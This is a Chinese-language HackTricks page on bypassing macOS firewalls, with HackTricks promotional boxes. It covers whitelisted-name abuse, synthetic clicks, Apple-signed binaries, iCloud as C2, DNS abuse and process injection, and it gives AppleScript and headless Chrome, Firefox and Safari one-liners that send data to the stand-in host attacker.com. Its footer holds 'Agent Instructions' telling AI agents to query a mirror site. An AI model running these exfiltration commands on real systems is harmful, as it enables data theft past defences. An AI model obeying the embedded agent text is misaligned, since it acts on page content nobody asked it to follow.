# macOS Bypassing Firewalls

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 发现的技术

以下技术在某些macOS防火墙应用程序中可行。

### 滥用白名单名称

* 例如，将恶意软件命名为众所周知的macOS进程名称，如\*\*`launchd`\*\*

### 合成点击

* 如果防火墙要求用户授权，使恶意软件**点击允许**

### **使用苹果签名的二进制文件**

* 像\*\*`curl`**这样的，还有其他像**`whois`\*\*这样的

### 众所周知的苹果域名

防火墙可能允许连接到众所周知的苹果域名，如\*\*`apple.com`**或**`icloud.com`\*\*。iCloud可能被用作C2。

### 通用绕过

一些尝试绕过防火墙的想法

### 检查允许的流量

了解允许的流量将帮助您识别潜在的白名单域或允许访问它们的应用程序。

```bash
lsof -i TCP -sTCP:ESTABLISHED
```

### 滥用 DNS

DNS 解析是通过已签名的 **`mdnsreponder`** 应用程序完成的，很可能会被允许与 DNS 服务器联系。

<figure><img src="/files/7jO8AfFtvs8LnPZ09nUz" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>

### 通过浏览器应用程序

* **oascript**

```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```

* 谷歌浏览器

{% code overflow="wrap" %}

```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```

{% endcode %}

* 火狐浏览器

```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```

* Safari

```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```

### 通过进程注入

如果您可以将代码注入到允许连接到任何服务器的进程中，您可以绕过防火墙保护：

{% content-ref url="/pages/z3IEUvrso9iNlcIUmwiI" %}
[macOS Process Abuse](/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse.md)
{% endcontent-ref %}

## 参考资料

* <https://www.youtube.com/watch?v=UlT5KFTMn2k>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
